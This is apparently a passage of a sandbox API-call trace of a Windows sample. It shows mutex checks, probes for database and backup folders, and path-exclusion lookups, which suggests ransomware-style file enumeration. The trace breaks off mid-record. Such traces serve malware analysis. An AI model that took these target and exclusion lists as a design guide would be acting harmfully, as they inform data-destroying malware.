[0053.972] GlobalUnlock (hMem=0x440004) returned 0 [0053.972] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.972] GlobalLock (hMem=0x440004) returned 0x550170 [0053.972] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.972] GlobalUnlock (hMem=0x440004) returned 0 [0053.972] GlobalLock (hMem=0x440004) returned 0x550170 [0053.972] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.972] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.972] GlobalUnlock (hMem=0x440004) returned 0 [0053.972] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.972] GlobalUnlock (hMem=0x44000c) returned 0 [0053.973] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0053.973] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE", len=0x3d | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE") returned 1 [0053.973] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.973] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.973] GlobalUnlock (hMem=0x44000c) returned 0 [0053.973] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.973] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.973] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.973] GlobalUnlock (hMem=0x44000c) returned 0 [0053.973] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.973] GlobalUnlock (hMem=0x440004) returned 0 [0053.973] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@QQ企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0053.974] GetLastError () returned 0x3 [0053.974] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0053.974] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0053.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18㿬Q\x181")) returned 0xffffffff [0053.975] GetLastError () returned 0x2 [0053.975] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0053.975] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.975] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@셤R企@\x18?T\x18;")) returned 0xffffffff [0053.975] GetLastError () returned 0x2 [0053.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0053.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0053.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18D")) returned 0xffffffff [0053.976] GetLastError () returned 0x2 [0053.976] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0053.976] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0053.976] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18셤R\x18j")) returned 0xffffffff [0053.977] GetLastError () returned 0x2 [0053.977] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.977] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0053.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18q")) returned 0xffffffff [0053.978] GetLastError () returned 0x2 [0053.978] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\셠RP") returned 6 [0053.978] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.978] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18y")) returned 0xffffffff [0053.978] GetLastError () returned 0x2 [0053.979] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0053.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.979] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18\x81")) returned 0xffffffff [0053.979] GetLastError () returned 0x2 [0053.979] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0053.979] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.979] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@뭼R企@\x18?T\x18\x88")) returned 0xffffffff [0053.979] GetLastError () returned 0x2 [0053.979] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0053.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0053.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@奌U企@\x18?T\x18\x8f")) returned 0xffffffff [0053.980] GetLastError () returned 0x2 [0053.980] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0053.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0053.980] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a4c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="塤U䱠@Q企@\x18?T\x18\x97")) returned 0xffffffff [0053.980] GetLastError () returned 0x2 [0053.980] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.980] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0053.981] GlobalLock (hMem=0x440004) returned 0x550170 [0053.981] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.981] GlobalUnlock (hMem=0x440004) returned 0 [0053.981] GlobalLock (hMem=0x440004) returned 0x550170 [0053.981] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.981] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.981] GlobalUnlock (hMem=0x440004) returned 0 [0053.981] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.981] GlobalUnlock (hMem=0x44000c) returned 0 [0053.981] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.981] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0053.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0053.981] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.981] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0053.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 46 [0053.981] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.981] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0053.981] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0053.982] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.982] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0053.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a578, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0053.982] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.982] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.982] GlobalUnlock (hMem=0x44000c) returned 0 [0053.982] GlobalLock (hMem=0x44000c) returned 0x550170 [0053.982] GlobalLock (hMem=0x440004) returned 0x555b78 [0053.982] GlobalHandle (pMem=0x550170) returned 0x44000c [0053.982] GlobalUnlock (hMem=0x44000c) returned 0 [0053.982] GlobalHandle (pMem=0x555b78) returned 0x440004 [0053.982] GlobalUnlock (hMem=0x440004) returned 0 [0053.982] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 15 [0053.982] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 11 [0053.982] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.982] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.983] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0053.983] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0053.983] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0053.983] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0053.983] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a518, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0053.983] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\", cchLength=0x3e | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\slate\\") returned 0x3e [0053.983] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0053.984] GlobalLock (hMem=0x440004) returned 0x550170 [0053.984] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.984] GlobalUnlock (hMem=0x440004) returned 0 [0053.984] GlobalLock (hMem=0x440004) returned 0x550170 [0053.984] GlobalLock (hMem=0x44000c) returned 0x555b78 [0053.984] GlobalHandle (pMem=0x550170) returned 0x440004 [0053.984] GlobalUnlock (hMem=0x440004) returned 0 [0053.984] GlobalHandle (pMem=0x555b78) returned 0x44000c [0053.984] GlobalUnlock (hMem=0x44000c) returned 0 [0053.984] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0053.984] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, 